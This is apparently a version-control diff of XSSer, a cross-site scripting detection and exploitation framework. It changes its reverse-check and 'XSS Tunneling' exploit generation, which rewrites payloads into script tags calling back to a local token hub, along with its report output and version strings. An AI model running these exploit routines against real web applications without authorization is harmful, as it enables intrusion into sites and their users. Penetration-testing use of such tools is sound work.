-                tor_reply = urllib.request.urlopen(req).read()
+                tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
                 your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
                 if not tor_reply or 'Congratulations' not in tor_reply:
                     print("It seems that Tor is not properly set.\n")
-                    print(("IP address appears to be: " + your_ip + "\n"))
+                    print("IP address appears to be: " + your_ip + "\n")
                 else:
                     print("Congratulations!. Tor is properly being used :-)\n")
-                    print(("IP address appears to be: " + your_ip + "\n"))
+                    print("IP address appears to be: " + your_ip + "\n")
             except:
                 print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
                 sys.exit(2) # return
 
+        # step 0: get workers
         nthreads = max(1, abs(options.threads))
         nworkers = len(self.pool.workers)
         if nthreads != nworkers:
@@ -2691,7 +2835,6 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.pool.dismissWorkers(nworkers-nthreads)
             else:
                 self.pool.createWorkers(nthreads-nworkers)
-
         for reporter in self._reporters:
             reporter.report_state('scanning')
         
@@ -2741,25 +2884,57 @@ class xsser(EncoderDecoder, XSSerReporter):
             time.sleep(0.2)
             for reporter in self._reporters:
                 reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
-        if self.final_attacks:
-            self.report("-"*25+"\n")
-            self.report("[Info] Generating 'token' url:\n")
+        if self.final_attacks and self.options.reversecheck: # try a --reverse-check
+            final_attack_payloads = []
+            self.report("="*45)
+            self.report("[*] Reverse Check(s) Results:")
+            self.report("="*45 + "\n")
             for final_attack in self.final_attacks.values():
-                if not final_attack['url'] == None:
-                    self.report(final_attack['url'] , "\n")
-                self.report("="*50+"\n")
-                self.report("[Info] CONGRATULATIONS!!! <-> This vector is doing a remote connection... So, is: 100% VULNERABLE! ;-)\n")
-                self.report(",".join(self.successful_urls), "\n")
-                self.report("="*50 + "\n")
+                if final_attack not in final_attack_payloads:
+                    final_attack_payloads.append(final_attack)
+            for final in final_attack_payloads:
+                if self.hash_found:
+                    for l in self.hash_found:
+                        hashing = l[3]
+                        for k, v in final.items():
+                            if 'success/'+hashing in v: # find XSS "remote poison" payload!
+                                if not self.options.postdata: # GET
+                                    self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
+                                else: # POST
+                                    self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
+                                if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
+                                    v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
+                                if "<script>document.location=document.location.hash.substring(1)</script>" in v:
+                                    v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")         
+                                self.report(v , "\n")
+                                self.report("-"*25+"\n")
+                                self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
+                                if self.token_arrived_flag == True and self.token_arrived_hash:
+                                    self.report("[Info] Validating HASHES:\n")
+                                    if self.success_arrived_flag == False:
+                                        self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
+                                    else:
+                                        self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
+                                    self.report("-"*25+"\n")
+                                    if self.options.postdata: # POST
+                                        self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
+                                    else: # GET
+                                        self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
+                                    self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
+                                else:
+                                    self.report("[Error] Remote XSS exploit [--reverse-check]  has FAILED! -> [PASSING!]\n")
+                self.report("-"*25+"\n")
+        if self.options.reversecheck or self.options.dom:
+            try:
+                self.driver.close() # end headless embed web browser driver!
+            except:
+                pass
         for reporter in self._reporters:
-            reporter.end_attack()
-        self.report("="*50)
+            reporter.end_attack() # end reports
         if self.mothership:
-            self.mothership.remove_reporter(self)
-            self.report("Mosquito(es) landed!")
-        else:
-            self.report("Mosquito(es) landed!")
-        self.report("="*50)
+            self.mothership.remove_reporter(self) # end mothership
+        if self.hub:
+            self.land() # end token hub server
         self.print_results()
 
     def sanitize_urls(self, urls):
@@ -2847,7 +3022,7 @@ class xsser(EncoderDecoder, XSSerReporter):
 
     def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
         """
-        Generate a real attack url by using data from a successful test.
+        Generate a real attack url using data from a successful test.
 
 	    This method also applies DOM stealth mechanisms.
         """
@@ -2883,8 +3058,7 @@ class xsser(EncoderDecoder, XSSerReporter):
         return dest_url
 
     def token_arrived(self, attack_hash):
-        if not self.mothership:
-            # only the mothership calls on token arriving.
+        if not self.mothership: # only mothership calls on token arrival
             self.final_attack_callback(attack_hash)
 
     def final_attack_callback(self, attack_hash):
@@ -2900,15 +3074,6 @@ class xsser(EncoderDecoder, XSSerReporter):
 
     def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
         real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
-        #generate_shorturls = self.options.shorturls
-        #if generate_shorturls:
-        #    shortener = ShortURLReservations(self.options.shorturls)
-        #    if self.options.finalpayload or self.options.finalremote or self.options.b64 or self.options.dos:
-        #        shorturl = shortener.process_url(real_attack_url)
-        #        self.report("[/] Shortered URL (Final Attack):", shorturl)
-        #    else:
-        #        shorturl = shortener.process_url(dest_url)
-        #        self.report("[/] Shortered URL (Injection):", shorturl)
         return real_attack_url
 
     def report(self, *args):
@@ -2923,7 +3088,7 @@ class xsser(EncoderDecoder, XSSerReporter):
         """
         Print results from attack.
         """
-        self.report('\n' + '='*75)
+        self.report('='*75)
         total_injections = len(self.hash_found) + len(self.hash_notfound)
         if len(self.hash_found) + len(self.hash_notfound) == 0:
             pass
@@ -2947,10 +3112,19 @@ class xsser(EncoderDecoder, XSSerReporter):
                 self.report('='*75)
                 self.report("[*] List of XSS injections:")
                 self.report('='*75 + '\n')
-                if self.options.reversecheck:
-                    self.report("You have found: [ " + str(len(self.hash_found)) + " ] XSS vector(s)! -> [100% VULNERABLE]\n")
+                if len(self.hash_found) > 1:
+                    if len(self.token_arrived_hashes) > 0:
+                        if len(self.hash_found) == len(self.token_arrived_hashes):
+                            self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
+                        else:
+                            self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
+                    else:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
                 else:
-                    self.report("You have found: [ " + str(len(self.hash_found)) + " ] possible (without --reverse-check) XSS vector(s)!\n")
+                    if len(self.token_arrived_hashes) > 0:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
+                    else:
+                        self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
                 self.report("---------------------" + "\n")
         if self.options.fileoutput:
             fout = open("XSSreport.raw", "w") # write better than append
@@ -3158,7 +3332,13 @@ class xsser(EncoderDecoder, XSSerReporter):
                     self.report("[*] Payload:", line[0])
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                         self.report("[*] Final Attack:", attack_url)
-                    self.report("[!] Status: XSS FOUND!",  "\n", '-'*50, "\n")
+                    if self.token_arrived_flag == True:
+                        self.report("[!] Status: XSS FOUND! [100% VULNERABLE]",  "\n", '-'*50, "\n")
+                    else:
+                        if self.options.reversecheck:
+                            self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]",  "\n", '-'*50, "\n")
+                        else:
+                            self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]",  "\n", '-'*50, "\n")
                 if self.options.fileoutput:
                     fout.write("="*75)
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
@@ -3166,14 +3346,38 @@ class xsser(EncoderDecoder, XSSerReporter):
                     for line in self.hash_found:
                         if line[4]:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         else:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         fout.write("="*75 + "\n\n")
             elif line[1] == "[Heuristic test]":
                 if len(self.hash_found) < 11:
@@ -3209,7 +3413,13 @@ class xsser(EncoderDecoder, XSSerReporter):
                     self.report("[!] Vulnerable:", line[1])
                     if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
                         self.report("[*] Final Attack:", attack_url)
-                    self.report("[!] Status: XSS FOUND!",  "\n", '-'*50, "\n")
+                    if self.token_arrived_flag == True:
+                        self.report("[!] Status: XSS FOUND! [100% VULNERABLE]",  "\n", '-'*50, "\n")
+                    else:
+                        if self.options.reversecheck:
+                            self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]",  "\n", '-'*50, "\n")
+                        else:
+                            self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]",  "\n", '-'*50, "\n")
                 if self.options.fileoutput:
                     fout.write("="*75)
                     fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
@@ -3217,16 +3427,39 @@ class xsser(EncoderDecoder, XSSerReporter):
                     for line in self.hash_found:
                         if line[4]:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         else:
                             if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                             else:
-                                fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
+                                if self.token_arrived_flag == True:
+                                    fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
+                                else:
+                                    if self.options.reversecheck:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
+                                    else:
+                                        fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]\n\n")
                         fout.write("="*75 + "\n\n")
-
         if self.options.fileoutput:
             fout.close()
         if self.options.fileoutput and not self.options.filexml:
@@ -3237,7 +3470,7 @@ class xsser(EncoderDecoder, XSSerReporter):
            self.report("-"*25+"\n")
         if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
             if not self.options.filexml: 
-                self.report("[Info] Aborting large screen output. Generating report: [ XSSreport.raw ]\n")
+                self.report("[Info] Aborting large screen output. Generating auto-report at: [ XSSreport.raw ] ;-)\n")
                 self.report("-"*25+"\n")
                 fout = open("XSSreport.raw", "w") # write better than append
                 fout.write("="*75)

+ 0 - 5
core/mozchecker.py

@@ -146,21 +146,16 @@ if __name__ == '__main__':
 
     gobject.timeout_add(30000, bailout)
     gobject.timeout_add(100, alertkill)
-
     win = gtk.Window()
     win.set_property('skip-taskbar-hint', True)
     win.set_property('skip-pager-hint', True)
     win.set_keep_below(True)
     win.connect('map', unmap)
-
     moz = MozEmbed()
     moz.load_url(sys.argv[1])
-
     moz.connect('net-stop', finished)
     moz.connect('new-window', new_window)
-
     win.set_title(sys.argv[1])
-
     win.add(moz)
     win.show_all()
     gtk.main()

+ 4 - 5
core/options.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -30,7 +30,7 @@ class XSSerOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
                            description='Cross Site "Scripter" is an automatic -framework- to detect, exploit and\nreport XSS vulnerabilities in web-based applications.',
                            prog='XSSer.py',
-			   version='\nXSSer v1.8[2]: "The Hiv3!" - (https://xsser.03c8.net) - 2010/2019 -> by psy\n',
+			   version='\nXSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy\n',
                            usage= '\n\nxsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]\n[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}')
         self.set_defaults(verbose=False, threads=5, retries=1, delay=0, timeout=30,
                           silent=False)
@@ -95,7 +95,7 @@ class XSSerOptions(optparse.OptionParser):
         group4.add_option("--threads", action="store", dest="threads", type="int", help="Maximum number of concurrent requests (default: 5)") 
         group4.add_option("--delay", action="store", dest="delay", type="int", help="Delay in seconds between each request (default: 0)")
         group4.add_option("--tcp-nodelay", action="store_true", dest="tcp_nodelay", help="Use the TCP_NODELAY option")
-        group4.add_option("--follow-redirects", action="store_true", dest="followred", help="Follow server redirection responses (302)")
+        group4.add_option("--follow-redirects", action="store_true", dest="followred", help="Follow server redirections (default: FALSE)")
         group4.add_option("--follow-limit", action="store", dest="fli", type="int", help="Set limit for redirection requests (default: 50)")
         self.add_option_group(group4)
 
@@ -108,7 +108,6 @@ class XSSerOptions(optparse.OptionParser):
         group5.add_option("--checkmethod", action="store", dest="altm", help="Check reply using: GET or POST (default: GET)")
         group5.add_option("--checkatdata", action="store", dest="ald", help="Check reply using: <alternative payload>") 
         group5.add_option("--reverse-check", action="store_true", dest="reversecheck", help="Establish a reverse connection from target to XSSer")
-        group5.add_option("--reverse-open", action="store_true", dest="reverseopen", help="Open a web browser when a reverse check is established")
         self.add_option_group(group5)
 
         group6 = optparse.OptionGroup(self, "*Select Vector(s)*",
@@ -194,7 +193,7 @@ class XSSerOptions(optparse.OptionParser):
     def get_options(self, user_args=None):
         (options, args) = self.parse_args(user_args)
         if (not options.url and not options.readfile and not options.dork and not options.dork_file and not options.imx and not options.flash and not options.update and not options.xsser_gtk and not options.wizard and not options.xst and not options.target and not options.checktor):
-            print("\n", '='*75)
+            print("\n"+ '='*75)
             print(self.version)
             print("-----------", "\n")
             print(self.description, "\n")

+ 1 - 1
core/threadpool.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free

+ 38 - 8
core/tokenhub.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -23,6 +23,9 @@ from threading import Thread
 import socket
 import time
 
+success_token_url = False
+token_arrived_hash = None
+
 class ReceiverThread(Thread):
     def __init__(self, client, addr, parent):
         Thread.__init__(self)
@@ -33,7 +36,9 @@ class ReceiverThread(Thread):
         data = self.client.recv(1024)
         if data:
             self.parent.data_arrived(data)
-            self.client.send('thanks for coming!')
+            self.client.send(b'XSSer "token-hub" service running... ;-)\n\n')
+            self.client.send(b'### INCOMING DATA:\n\n')
+            self.client.send(data)
             self.client.close()
         self.parent.client_finished(self)
 
@@ -46,19 +51,44 @@ class HubThread(Thread):
         self.ready = False
         self.running =False
         self.parent = parent
+        self.token_arrived_flag = False
+        self.success_arrived_flag = False
+    def check_hash(self, hashing):
+        if token_arrived_hash:
+            if success_token_url:
+                if token_arrived_hash == hashing: # [100% VULNERABLE] check!
+                    self.token_arrived_flag = True
+                    self.success_arrived_flag = False
+                elif '/success/' in success_token_url:
+                    self.token_arrived_flag = True
+                    self.success_arrived_flag = True
+                else:
+                    self.token_arrived_flag = False
+            else:
+                self.token_arrived_flag = False
+        else:
+            self.token_arrived_flag = False
+        return self.token_arrived_flag, self.success_arrived_flag, token_arrived_hash
     def url_request(self, url):
-        split_url = url.split("/")
+        split_url = url.split(b"/")
         if len(split_url) > 2:
-            if split_url[1] == 'success':
-                self.parent.token_arrived(split_url[2])
+            if split_url[1] == b'success':
+                global success_token_url
+                global token_arrived_hash
+                success_token_url = url.decode('utf-8')
+                token_arrived_hash = split_url[2].decode('utf-8')
+                self.parent.token_arrived(split_url[2].decode('utf-8'))
     def data_arrived(self, data):
-        data.split("\n")[0]
-        if data.startswith("GET"):
+        data.split(b"\n")[0]
+        if data.startswith(b"GET"):
             split_data = data.split()
             if len(split_data) > 1:
                 self.url_request(split_data[1])
     def client_finished(self, _thread):
-        self._clients.remove(_thread)
+        try:
+            self._clients.remove(_thread)
+        except:
+            pass
     def shutdown(self):
         if self.ready:
             try:

+ 2 - 2
core/twsupport.py

@@ -4,7 +4,7 @@
 """
 This file is part of the XSSer project, https://xsser.03c8.net
 
-Copyright (c) 2010/2019 | psy <epsylon@riseup.net>
+Copyright (c) 2010/2020 | psy <epsylon@riseup.net>
 
 xsser is free software; you can redistribute it and/or modify it under
 the terms of the GNU General Public License as published by the Free
@@ -33,7 +33,7 @@ except:
     orbited_main = None
     traceback.print_exc()
 
-print("\nXSSer v1.7b: The Mosquito 'Zika Swarm'\n")
+print("\nXSSer v1.8[3]: 'The HiV€'\n")
 print("Daemon(s): ready!", "//" , "Interfaz: ready!\n")
 print("Connect to http://127.0.0.1:19084/static/ via Web or Telnet to manage your swarm\n")
 print("Listening...")

+ 7 - 7
core/update.py

@@ -4,7 +4,7 @@
 """
